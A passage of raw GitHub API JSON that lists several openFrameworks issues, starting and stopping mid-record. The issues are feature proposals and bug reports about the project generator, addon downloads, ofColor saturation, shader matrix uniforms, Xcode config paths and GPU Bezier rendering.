fixed?\r\n\r\nCheers\r\n\r\n\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1234","id":4373361,"number":1234,"title":"PG should generate example projects in non-core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-05-01T20:24:05Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could get an option to generate the examples of non-core addons which the user has downloaded and placed in `OF/addons/`. This would really be useful to quickly look at/work with an addon.\r\n\r\nThe PG already knows about these addons. It would scan for folders in am addon's root directory with `example` in the name somewhere, and probably check the requisite structure (`src` folder, `addons.make` in place, etc), then generate the project file just the way it would if the example were in `OF/examples/addons/someExample`. Folder depth is the same, so I hope this is just a matter of adjusting the root folder for the example generation process - `addons` instead of `examples`.\r\n\r\nThoughts? Feedback?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1233","id":4373201,"number":1233,"title":"PG should offer addons download","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-01T20:15:17Z","updated_at":"2012-05-04T03:31:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This idea I had came up during the latest devmeet: \r\n\r\n*Proposal*\r\n\r\nI think it would be great if the PG would in the future offer automated downloading of addons. This would lower the barrier for people getting addons they want/need. Additionally, it would take away/reduce the need/desire to include popular addons in the OF core repo and/or release download, if addons are so easy to get, as part of a workflow we already envision the users to follow in the future (i.e. the PG)\r\n\r\n*Behaviour as it is now/soon:*\r\n\r\nAlice has an idea for a new project. She needs a couple addons for realising her project, and knows which ones. \r\nShe opens a browser to go to ofxaddons.com and/or github to download the addons if she doesn't have them yet and places them into `OF/addons/`. Alice starts the PG. The PG knows about the addons, and allows her to select them for inclusion. She creates a project and starts coding.\r\n\r\n*Desired/envisioned behaviour:*\r\n\r\nBob has an idea for a new project. He needs a couple addons for realising his project, and knows which ones. \r\nBob uses the new version of the PG to create a project. Beside the list of installed addons, the PG offers a dropdown list to select addons to download and place into the proper place. It lets Bob select if he prefers a plain download (to just use the addon), or a cloned git repo (to stay up-to-date and/or propose improvements to the addon author). Bob selects the desired addons to download, waits a while until PG reports that they're in place, and chooses all needed addons from the newly expanded list. He creates a project, and start coding the Next Big Thing, without even needing the browser! Awesome, right?\r\n\r\n*Analysis:*\r\n\r\nAlthough I realize that this is no trivial feature, I think much of what we need is already in place. \r\nPG knows about the repo structure, which addons are already there, etc., and has most of the file-manipulation logic already I think. \r\nofxaddons.com maintains a list of available addons and their locations, so I hope it's rather easy to present this in some machine-readable way for PG consumption (@obviousjim, thoughts?). \r\nWget/curl/git could take care of the download. \r\nofxGUI would have to be extended with a dropdown list, or some other way of (space)efficiently presenting the huge list of addons available.\r\n\r\nPossible issues: \r\nCross-platform way of downloading/git cloning without pulling to many dependencies (Elliot brought this up I think). Maybe have a fallback chain of mechanisms?\r\nAddon structure may not comply to what is expected (for old addons e.g.), so the project wouldn't work in the beginning. The same issue would appear on manual download, though.\r\n\r\n\r\nThoughts and Feedback, please. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1232","id":4370619,"number":1232,"title":"bug/feature in ofColor::setSaturation ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":14,"created_at":"2012-05-01T17:40:08Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"should result in a gray circle, instead its white \r\n\r\n\tofColor c(255, 0, 0);\r\n\tc.setSaturation(0);\t\r\n\tofSetColor(c);\r\n\tofFill();\t\r\n\tofCircle(100,400,50);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1229","id":4356530,"number":1229,"title":"pass matrices as uniforms with ofShader ","user":{"login":"Larsberg","id":346072,"avatar_url":"https://secure.gravatar.com/avatar/bb9a4f7c510339e9d7a447347dc263ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bb9a4f7c510339e9d7a447347dc263ba","url":"https://api.github.com/users/Larsberg","html_url":"https://github.com/Larsberg","followers_url":"https://api.github.com/users/Larsberg/followers","following_url":"https://api.github.com/users/Larsberg/following","gists_url":"https://api.github.com/users/Larsberg/gists{/gist_id}","starred_url":"https://api.github.com/users/Larsberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Larsberg/subscriptions","organizations_url":"https://api.github.com/users/Larsberg/orgs","repos_url":"https://api.github.com/users/Larsberg/repos","events_url":"https://api.github.com/users/Larsberg/events{/privacy}","received_events_url":"https://api.github.com/users/Larsberg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-04-30T19:49:38Z","updated_at":"2012-05-01T06:35:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"How do you feel about passing matrices to ofShader as a uniform?\r\n\r\nsomething like:\r\n\r\n\tvoid ofShader::setUniformMatrix4fv(const char* name, ofMatrix& matrix ) {\r\n\t\tif(bLoaded)\r\n\t\t\tglUniformMatrix4fv(getUniformLocation(name), 1, GL_FALSE, matrix.getPtr());\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","id":4269431,"number":1217,"title":"projectGenerator update doesn't respect existing project settings","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-04-24T21:03:44Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","id":4269359,"number":1215,"title":"projectGenerator sets incorrect path in Project.xcconfig","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-04-24T20:59:57Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","id":4231092,"number":1202,"title":"ofVideoPlayer etc needs ofColor access","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-22T18:42:58Z","updated_at":"2012-04-22T23:56:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","id":4207350,"number":1190,"title":"Bezier Shaders & Vector openGL rendering","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-04-20T09:23:00Z","updated_at":"2013-02-04T20:49:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","id":4206982,"number":1189,"title":"ofSetCurveResolution + ofBezierVertex bug","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"h